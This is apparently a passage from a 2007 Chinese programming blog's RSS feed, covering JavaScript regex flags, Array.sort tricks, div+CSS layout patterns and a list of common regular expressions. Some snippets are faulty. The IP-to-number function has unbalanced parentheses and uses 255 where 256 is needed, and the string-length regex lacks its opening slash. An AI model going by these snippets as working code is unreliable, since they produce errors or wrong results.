regx=/^b./g;<br>var str=&#8220;bd76 dfsdf<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sdfsdfs dffs<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b76dsf&nbsp; sdfsdf&#8221;;<br>var rs=str.match(regx);<br>此时加入g和不加入g，都只返回第一个匹配{bd}，如果regx=/^b./gm，则返回所有的匹配{bd,b7}，注意如果regx=/^b./m，则也只返回第一个匹配。所以，加入m表明可以进行多行匹配，加入g表明可以进行全局匹配，综合到一起就是可以进行多行全局匹配<br>2）使用其他模式的例子，例如<br>var regx=/user\d/;<br>var str=&#8220;sdfsfsdfsdf<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sdfsuser3 dffs<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b76dsf&nbsp; user6&#8221;;<br>var rs=str.match(regx);<br>此时不加参数g，则返回{user3}，加入参数g返回{user3,user6}，加不加入m对此没有影响。<br>3）因此对于m我们要清楚它的使用，记住它只对^和$模式起作用，在这两种模式中，m的作用为：如果不加入m，则只能在第一行进行匹配，如果加入m则可以在所有的行进行匹配。我们再看一个^的例子<br>var regx=/^b./;<br>var str=&#8220;ret76 dfsdf<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bjfsdfs dffs<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b76dsf&nbsp; sdfsdf&#8221;;<br>var rs=str.match(regx);<br>此时rs的值为null，如果加入g，rs的值仍然为null，如果加入m，则rs的值为{bj}（也就是说，在第一行没有找到匹配，因为有参数m，所以可以继续去下面的行去找是否有匹配），如果m和g都加上，则返回{bj,b7}（只加m不加g说明，可以去多行进行匹配，但是找到一个匹配后就返回，加入g 表明将多行中所有的匹配返回，当然对于match方法是如此，对于exec呢，则需要执行多次才能依次返回）<br><strong>总结3</strong>：在HTML的textarea输入域中，按一个Enter键，对应的控制字符为&#8220;\r\n&#8221;，即&#8220;回车换行&#8221;，而不是&#8220;\n\r&#8221;，即&#8220;换行回车&#8221;，我们看一个前面我们举过的例子：<br>var regx=/a\r\nbc/;<br>var str=&#8220;a<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bc&#8221;;<br>var rs=regx.exec(str);<br>结果：匹配成功，rs的值为：{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }，如果表达式为/a\n\rbc/，则不会被匹配，因此在一般的编辑器中一个&#8221;Enter&#8221;键代表着&#8220;回车换行&#8221;，而非&#8220;换行回车&#8221;，至少在textarea域中是这样的。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><strong><font size=5>四，应用案例</font></strong></p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><strong>1，正则表达式使用场景：</strong><br>1）登录场景，检查用户输入的用户名，要求：<br>字符长度在6到18之间<br>字符必须为字母、数字或者下划线的组合<br>2）购物场景，对于商品列表的描述（标签、条形码、单价）等有些用户可能会提出下面需求：<br>希望可以对商品列表的某一列描述进行字号的自定义，而且下次登录仍然保持用户的修改<br><strong>2，下面看一下在上述两个场景中，正则表达式的使用方式和具体实现。<br></strong>1）登录场景部分正则表达式实现<br><a href="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_1.gif" target=_blank><img title=点击在新窗口查看原始图片 alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_1.gif" width=500 border=0></a><br>2）购物场景部分正则表达式实现<br>1&gt;需求分析：用户希望可以对商品列表的某一列描述进行字号的自定义，而且下次登录仍然保持用户的修改<br><a href="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_2.gif" target=_blank><img title=点击在新窗口查看原始图片 alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_2.gif" width=500 border=0></a><br>2&gt;程序设计<br><a href="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_3.gif" target=_blank><img title=点击在新窗口查看原始图片 alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_3.gif" width=500 border=0></a><br>类图：<br><a href="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_4.gif" target=_blank><img title=点击在新窗口查看原始图片 alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_4.gif" width=500 border=0></a><br>3&gt;代码实现<br>PageSetting类<br><a href="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_5.gif" target=_blank><img title=点击在新窗口查看原始图片 alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_5.gif" width=500 border=0></a><br>PageSettingParser类<br><a href="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_6.gif" target=_blank><img title=点击在新窗口查看原始图片 alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/eye_of_back/regexp_6.gif" width=500 border=0></a></p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/127445.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-07-02 10:28 <a href="http://www.blogjava.net/sunbaby/articles/127445.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>深入聊聊Array的sort方法的使用技巧</title><link>http://www.blogjava.net/sunbaby/articles/126406.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Tue, 26 Jun 2007 12:16:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/126406.html</guid><description><![CDATA[<span style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">博客地址： &nbsp; &nbsp; http://ashun.cnblogs.com/ &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; /********************************************************************/ &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; Array.prototype.sort方法是对数组进行排序, &nbsp; 该方法带一个函数参数,用来指定排序的规则. &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; 我们先来看看sort &nbsp; 的简单应用: &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; var &nbsp; arr=[2,1,3,4]; &nbsp; <br>&nbsp; alert(arr.sort()) &nbsp; &nbsp; // &nbsp; [1,2,3,4] &nbsp; 从小到大排列 &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; //现在由大到小排列 &nbsp; &nbsp; 得到 &nbsp; [4,3,2,1] &nbsp; <br>&nbsp; alert(arr.sort(function(left,right){return &nbsp; left&gt;right?-1:1})) &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; //这里,sort方法通过参数函数的返回值 &nbsp; 1或者-1来决定是顺排还是倒排 &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; 还记得我以前和大家说过的 &nbsp; 利用 &nbsp; Function.apply &nbsp; 方法来获取数组中的最大元素的方法吗? &nbsp; <br>&nbsp; 文中用了两种不同的方法来获取数组中的最大值. &nbsp; <br>&nbsp; 现在 &nbsp; sort也可以来秀一下了. &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; var &nbsp; arr=[2,1,3,4]; &nbsp; <br>&nbsp; var &nbsp; minValue=arr.sort()[0]; &nbsp; <br>&nbsp; var &nbsp; maxValue=arr.sort()[arr.length-1] &nbsp; &nbsp; &nbsp; // &nbsp; &nbsp; arr.sort().pop() &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; 怎么样,这也是一种另类实现方法吧,还不用写循环遍历. &nbsp; &nbsp; <br>&nbsp; 不过,我必须要指出的是,这种方法的效率是最低的,对于几十个百来个元素的数组,你还是可以使用这种技巧. &nbsp; <br>&nbsp; 但是,如果数组很大,用 &nbsp; sort()方法可以慢得让你想抽烟 &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; 进一步讨论 &nbsp; sort &nbsp; 对复杂数据结构的排序. &nbsp; <br>&nbsp; 1. &nbsp; 对多维数组的排序 &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; var &nbsp; arr=[ &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [2,1,55,4], &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [5,3,22,3], &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [1,2,77,2], &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [9,4,33,5], &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ]; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; alert("默认按第一列排\n"+arr.sort().join("\n")) &nbsp; &nbsp; &nbsp; <br>&nbsp; alert("现在按第三列排\n"+arr.sort(function(left,right){return &nbsp; left[2]&gt;right[2]?1:-1}).join("\n")) &nbsp; &nbsp; &nbsp; <br>&nbsp; alert("现在按第三列倒排\n"+arr.sort(function(left,right){return &nbsp; left[2]&gt;right[2]?-1:1}).join("\n")) &nbsp; &nbsp; &nbsp; <br>&nbsp; 2.对复杂数据结构的排序 &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; Array.prototype.each=function(f){for(var &nbsp; i=0;i&lt;this.length;i++) &nbsp; f(this[i],i,this)} &nbsp; <br>&nbsp; function &nbsp; showName(item){alert(item.name)}; &nbsp; //打印名字 &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; var &nbsp; arr=[ &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {name:"bill",money:500}, &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {name:"go_rush",money:400}, &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {name:"dudu",money:9000} &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ]; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; //依次显示 &nbsp; dudu,bill,go_rush &nbsp; 看来dudu是最有钱的,而我是最穷的 &nbsp; <br>&nbsp; arr.sort(function(left,right){return &nbsp; left.money&gt;right.money?-1:1}).each(showName) &nbsp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; 3.对表格的排序,这个话题我昨天和大家聊过了. &nbsp; &nbsp; &nbsp; <br>&nbsp; 参见: &nbsp; <br>&nbsp; http://www.cnblogs.com/ashun/archive/2006/11/30/appendChild_table_sort.html &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; 更复杂的表格排序(也是用Array的sort函数): &nbsp; &nbsp; <br>&nbsp; http://community.csdn.net/expert/Topicview2.asp?id=5174915 &nbsp; <br>&nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; 4. &nbsp; Protype.js &nbsp; 中对 &nbsp; sort有一个构思非常巧妙的扩展,先看他的代码 &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; 1 &nbsp; &nbsp; &nbsp; sortBy: &nbsp; function(iterator) &nbsp; { &nbsp; <br>&nbsp; 2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return &nbsp; this.collect(function(value, &nbsp; index) &nbsp; { &nbsp; <br>&nbsp; 3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return &nbsp; {value: &nbsp; value, &nbsp; criteria: &nbsp; iterator(value, &nbsp; index)}; &nbsp; <br>&nbsp; 4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }).sort(function(left, &nbsp; right) &nbsp; { &nbsp; <br>&nbsp; 5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var &nbsp; a &nbsp; = &nbsp; left.criteria, &nbsp; b &nbsp; = &nbsp; right.criteria; &nbsp; <br>&nbsp; 6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return &nbsp; a &nbsp; &lt; &nbsp; b &nbsp; ? &nbsp; -1 &nbsp; : &nbsp; a &nbsp; &gt; &nbsp; b &nbsp; ? &nbsp; 1 &nbsp; : &nbsp; 0; &nbsp; <br>&nbsp; 7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }).pluck('value'); &nbsp; <br>&nbsp; 8 &nbsp; &nbsp; &nbsp; }, &nbsp; <br>&nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; 这个 &nbsp; sortBy &nbsp; 允许传入一个函数, &nbsp; 并把数组的每一个元素作为参数执行该函数,最后对函数返回的结果排序. &nbsp; <br>&nbsp; 下面我来分解他的这个函数. &nbsp; <br>&nbsp; collect方法实际就是 &nbsp; map方法.相当于 &nbsp; <br>&nbsp; Array.prototype.map=function(f){ &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(var &nbsp; i=0;ret=[];i&lt;this.length;i++) &nbsp; &nbsp; ret[i]=f(this[i],i,this) &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return &nbsp; ret &nbsp; <br>&nbsp; } &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; &nbsp; 比如,现在 &nbsp; &nbsp; <br>&nbsp; arr=[2,1,4,3] &nbsp; <br>&nbsp; iterator=function(x){return &nbsp; x*x} &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; 1-3行代码就得到了这样一个数组 &nbsp; &nbsp; <br>&nbsp; [ &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; {value:2,criteria:4}, &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; {value:1,criteria:1}, &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; {value:4,criteria:16}, &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; {value:3,criteria:9} &nbsp; <br>&nbsp; ] &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; 4-6行代码就对数组按 &nbsp; criteria:进行排序,由小到大.排完得到 &nbsp; <br>&nbsp; [ &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; {value:1,criteria:1}, &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; {value:2,criteria:4}, &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; {value:3,criteria:9}, &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; {value:4,criteria:16} &nbsp; <br>&nbsp; ] &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; 第7行代码最简单了,取每个元素的value属性,最终得到 &nbsp; [1,2,3,4] &nbsp; &nbsp; 实现对arr的sortBy(function...)排序</span>
<img src ="http://www.blogjava.net/sunbaby/aggbug/126406.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-06-26 20:16 <a href="http://www.blogjava.net/sunbaby/articles/126406.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>div+css页面布局漫谈 </title><link>http://www.blogjava.net/sunbaby/articles/124435.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Fri, 15 Jun 2007 01:57:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/124435.html</guid><description><![CDATA[<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">1.CSS布局常用的方法： <br>float : none | left | right <br><br>取值： <br>none : 默认值。对象不飘浮 <br>left : 文本流向对象的右边 <br>right : 文本流向对象的左边 <br><br>它是怎样工作的，看个一行两列的例子 <br><br>xhtml: <br>&lt;div id="warp"&gt; <br>&lt;div id="column1"&gt;这里是第一列&lt;/div&gt; <br>&lt;div id="column2"&gt;这里是第二列&lt;/div&gt; <br>&lt;div class="clear"&gt;&lt;/div&gt;/*这是违背web标准意图的，只是想说明在它下面的元素需要清除浮动*/ <br>&lt;/div&gt; <br><br>CSS: <br>#wrap{ width:100%; height:auto;} <br>#column1{ float:left; width:40%;} <br>#column2{ float:right; width:60%;} <br>.clear{ clear:both;} <br><br>position : static | absolute | fixed | relative <br><br>取值： <br>static : 默认值。无特殊定位，对象遵循HTML定位规则 <br>absolute : 将对象从文档流中拖出，使用 left ， right ， top ， bottom 等属性相对于其最接近的一个最有定位设置的父对象进行绝对定位。如果不存在这样的父对象，则依据 body 对象。而其层叠通过 z-index 属性定义 <br>fixed : IE未支持。对象定位遵从绝对(absolute)方式。但是要遵守一些规范 <br>relative : 对象不可层叠，但将依据 left ， right ， top ， bottom 等属性在正常文档流中偏移位置 <br><br>它来实现一行两列的例子 <br><br>xhtml: <br>&lt;div id="warp"&gt; <br>&lt;div id="column1"&gt;这里是第一列&lt;/div&gt; <br>&lt;div id="column2"&gt;这里是第二列&lt;/div&gt; <br>&lt;/div&gt; <br><br>CSS: <br>#wrap{ position:relative;/*相对定位*/width:770px;} <br>#column1{ position:absolute; top:0; left:0; width:300px;} <br>#column2{position:absolute; top:0; right:0; width:470px;} <br><br>他们的区别在哪? <br><br>显然，float是相对定位的，会随着浏览器的大小和分辨率的变化而改变，而position就不行了，所以一般情况下还是float布局！ <br><br>2.CSS常用布局实例 <br><br>一列(居中) <br>单行一列 <br>body { margin: 0px; padding: 0px; text-align: center; } <br>#content { margin-left:auto; margin-right:auto; width: 400px; } <br><br>两行一列 <br><br>body { margin: 0px; padding: 0px; text-align: center;} <br>#content-top { margin-left:auto; margin-right:auto; width: 400px; } <br>#content-end {margin-left:auto; margin-right:auto; width: 400px; } <br><br>三行一列 <br><br>body { margin: 0px; padding: 0px; text-align: center; } <br>#content-top { margin-left:auto; margin-right:auto; width: 400px; width: 370px; } <br>#content-mid { margin-left:auto; margin-right:auto; width: 400px; } <br>#content-end { margin-left:auto; margin-right:auto; width: 400px; } <br>两列 <br><br>单行两列 <br><br>#bodycenter { width: 700px;margin-right: auto; margin-left: auto;overflow: auto; } <br>#bodycenter #dv1 {float: left;width: 280px;} <br>#bodycenter #dv2 {float: right;width: 420px;} <br><br>两行两列 <br>#header{ width: 700px; margin-right: auto;margin-left: auto; overflow: auto;} <br>#bodycenter { width: 700px; margin-right: auto; margin-left: auto; overflow: auto; } <br>#bodycenter #dv1 { float: left; width: 280px;} <br>#bodycenter #dv2 { float: right;width: 420px;} <br><br>三行两列 <br>#header{ width: 700px;margin-right: auto; margin-left: auto; } <br>#bodycenter {width: 700px; margin-right: auto; margin-left: auto; } <br>#bodycenter #dv1 { float: left;width: 280px;} <br>#bodycenter #dv2 { float: right; width: 420px;} <br>#footer{ width: 700px; margin-right: auto; margin-left: auto; overflow: auto; clear:both; } <br><br>三列 <br><br>单行三列 <br><br>绝对定位 <br><br>#left { position: absolute; top: 0px; left: 0px; width: 120px; } <br>#middle {margin: 0px 190px 0px 190px; } <br>#right {position: absolute;top: 0px; right: 0px; width: 120px;} <br><br>float定位 <br>xhtml: <br>&lt;div id="warp"&gt; <br>&lt;div id="column"&gt; <br>&lt;div id="column1"&gt;这里是第一列&lt;/div&gt; <br>&lt;div id="column2"&gt;这里是第二列&lt;/div&gt; <br>&lt;div class="clear"&gt;&lt;/div&gt;/*用法web标准不建议，但是记住下面元素需要清除浮动*/ <br>&lt;/div&gt; <br>&lt;div id="column3"&gt;这里是第三列&lt;/div&gt; <br>&lt;div class="clear"&gt;&lt;/div&gt;/*用法web标准不建议，但是记住下面元素需要清除浮动*/ <br>&lt;/div&gt; <br><br>CSS: <br>#wrap{ width:100%; height:auto;} <br>#column{ float:left; width:60%;} <br>#column1{ float:left; width:30%;} <br>#column2{ float:right; width:30%;} <br>#column3{ float:right; width:40%;} <br>.clear{ clear:both;} <br><br>float定位二 <br>xhtml <br>&lt;div id="center" class="column"&gt; <br>&lt;h1&gt;This is the main content.&lt;/h1&gt; <br>&lt;/div&gt; <br>&lt;div id="left" class="column"&gt; <br>&lt;h2&gt;This is the left sidebar.&lt;/h2&gt; <br>&lt;/div&gt; <br>&lt;div id="right" class="column"&gt; <br>&lt;h2&gt;This is the right sidebar.&lt;/h2&gt; <br>&lt;/div&gt; <br>CSS <br>body { <br>margin: 0; <br>padding-left: 200px; /* LC fullwidth */ <br>padding-right: 190px; /* RC fullwidth + CC padding */ <br>min-width: 200px; /* LC fullwidth + CC padding */ <br>} <br><br>.column { <br>position: relative; <br>float: left; <br>} <br><br>#center { <br>width: 100%; <br>} <br><br>#left { <br>width: 200px; /* LC width */ <br>right: 200px; /* LC fullwidth */ <br>margin-left: -100%; <br>} <br><br>#right { <br>width: 190px; /* RC width */ <br>margin-right: -100%; <br>} <br><br>/*** IE Fix ***/ <br>* html #left { <br>left: 190px; /* RC fullwidth */ <br>} <br><br>两行三列 <br><br>xhtml: <br>&lt;div id="header"&gt;这里是顶行&lt;/div&gt; <br>&lt;div id="warp"&gt; <br>&lt;div id="column"&gt; <br>&lt;div id="column1"&gt;这里是第一列&lt;/div&gt; <br>&lt;div id="column2"&gt;这里是第二列&lt;/div&gt; <br>&lt;div class="clear"&gt;&lt;/div&gt; <br>&lt;/div&gt; <br>&lt;div id="column3"&gt;这里是第三列&lt;/div&gt; <br>&lt;div class="clear"&gt;&lt;/div&gt; <br>&lt;/div&gt; <br><br>CSS: <br>#header{width:100%; height:auto;} <br>#wrap{ width:100%; height:auto;} <br>#column{ float:left; width:60%;} <br>#column1{ float:left; width:30%;} <br>#column2{ float:right; width:30%;} <br>#column3{ float:right; width:40%;} <br>.clear{ clear:both;} <br><br>三行三列 <br><br>xhtml: <br>&lt;div id="header"&gt;这里是顶行&lt;/div&gt; <br>&lt;div id="warp"&gt; <br>&lt;div id="column"&gt; <br>&lt;div id="column1"&gt;这里是第一列&lt;/div&gt; <br>&lt;div id="column2"&gt;这里是第二列&lt;/div&gt; <br>&lt;div class="clear"&gt;&lt;/div&gt; <br>&lt;/div&gt; <br>&lt;div id="column3"&gt;这里是第三列&lt;/div&gt; <br>&lt;div class="clear"&gt;&lt;/div&gt; <br>&lt;/div&gt; <br>&lt;div id="footer"&gt;这里是底部一行&lt;/div&gt; <br>CSS: <br>#header{width:100%; height:auto;} <br>#wrap{ width:100%; height:auto;} <br>#column{ float:left; width:60%;} <br>#column1{ float:left; width:30%;} <br>#column2{ float:right; width:30%;} <br>#column3{ float:right; width:40%;} <br>.clear{ clear:both;} <br>#footer{width:100%; height:auto;} <br><br>PS:这里列出的是常用的例子，而非研究之用，对一每个盒子，我都没有设置margin,padding,boeder等属性，是因为我个人觉得，含有宽度定位的时候，最好不好用到他们，除非必不得已，因为如果不是这样的话，解决浏览器兼容问题，会让你头疼，而且产生一系列CSS代码，我觉得这样的效率和效果都不好！ <br><br>3.CSS布局高级技巧 <br>margin和padding总是有可能要用到，而产生的问题如何解决呢？由于浏览器解释容器宽度的方法不同： <br>IE 6.0 Firefox Opera等是 <br>真实宽度=width+padding+border+margin <br>IE5.X/Win <br>真实宽度=width <br>IE中有浮动对象的双倍距离之BUG（IE Doubled Float-Margin Bug ）, 这里还需要具体问题具体解决。</p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">解决的方法是hack <br><br>div.content { <br>width:400px; //这个是错误的width，所有浏览器都读到了，包括IE5.x/Win <br>voice-family: "\"}\""; //IE5.X/win忽略了"\"}\""后的内容 <br>voice-family:inherit; <br>width:300px; //包括IE6/win在内的部分浏览器读到这句，新的数值(300px)覆盖掉了旧的 <br>} <br>html&gt;body .content { //html&gt;body是CSS2的写法 <br>width:300px; //支持CSS2该写法的浏览器(非IE5)有幸读到了这一句 <br>} <br><br>div.content { <br>width:300px !important; //这个是正确的width，大部分支持!important标记的浏览器使用这里的数值 <br>width(空格)/**/:400px; //IE6/win不解析这句，所以IE6/win仍然认为width的值是300px；而IE5.X/win读到这句，新的数值(400px)覆盖掉了旧的，因为!important标记的优先级对IE不起作用 <br>} <br>html&gt;body .content { //html&gt;body是CSS2的写法 <br>width:300px; //支持CSS2该写法的浏览器有幸读到了这一句 <br>} <br></p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma">列等高技巧 <br><br>n行n列布局，每列高度（事先并不能确定哪列的高度）的相同，是每个设计师追求的目标，做法有：背景图填充、加JS脚本的 <br>方法和容器溢出部分隐藏和列的负底边界和正的内补丁相结合的方法。 <br>背景图填充法： <br>xhtml: <br>&lt;div id="wrap"&gt; <br>&lt;div id="column1"&gt;这是第一列&lt;/div&gt; <br>&lt;div id="column1"&gt;这是第二列&lt;/div&gt; <br>&lt;div class="clear"&gt;&lt;/div&gt; <br>&lt;/div&gt; <br>css: <br>#wrap{ width:776px; background:url(bg.gif) repeat-y 300px;} <br>#column1{ float:left; width:300px;} <br>#column2{ float:right; width:476px;} <br>.clear{ clear:both;} <br>就是将一个npx宽的一张图片在外部容器纵向重复，定位到两列交错的位置纵向重复，在视觉上产生了两列高度一样的错觉 <br><br>JS脚本法： <br>代码的原理基本就是这样，读取高度，判断高度，高度相等，下面有个左中右等高的例子 <br>&lt;script language="javascript"&gt; <br>document.getElementById("left").style.height=document.getElementById("middle").scrollHeight+"px" <br>document.getElementById("right").style.height=document.getElementById("middle").scrollHeight+"px" <br>&lt;/script&gt;&nbsp;</p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/124435.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-06-15 09:57 <a href="http://www.blogjava.net/sunbaby/articles/124435.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>正则表达式大全</title><link>http://www.blogjava.net/sunbaby/articles/123113.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Sat, 09 Jun 2007 15:05:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/123113.html</guid><description><![CDATA[<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">正则表达式用于字符串处理，表单验证等场合，实用高效，但用到时总是不太把握，以致往往要上网查一番。将一些常用的表达式收藏在这里，作备忘之用。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">匹配中文字符的正则表达式： [\u4e00-\u9fa5] </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">匹配双字节字符(包括汉字在内)：[^\x00-\xff] </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">应用：计算字符串的长度（一个双字节字符长度计2，ASCII字符计1） </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;} </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">匹配空行的正则表达式：\n[\s| ]*\r </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">匹配HTML标记的正则表达式：/&lt;(.*)&gt;.*&lt;\/\1&gt;|&lt;(.*) \/&gt;/ </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">匹配首尾空格的正则表达式：(^\s*)|(\s*$) </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">应用：javascript中没有像vbscript那样的trim函数，我们就可以利用这个表达式来实现，如下： </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">String.prototype.trim = function() <br>{ <br>&nbsp; return this.replace(/(^\s*)|(\s*$)/g, ""); <br>} </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">利用正则表达式分解和转换IP地址： </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">下面是利用正则表达式匹配IP地址，并将IP地址转换成对应数值的Javascript程序： </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">function IP2V(ip) <br>{ <br>&nbsp;re=/(\d+)\.(\d+)\.(\d+)\.(\d+)/g//匹配IP地址的正则表达式 <br>if(re.test(ip)) <br>{ <br>return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1 <br>} <br>else <br>{ <br>&nbsp;throw new Error("Not a valid IP address!") <br>} <br>} </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">不过上面的程序如果不用正则表达式，而直接用split函数来分解可能更简单，程序如下： </p>
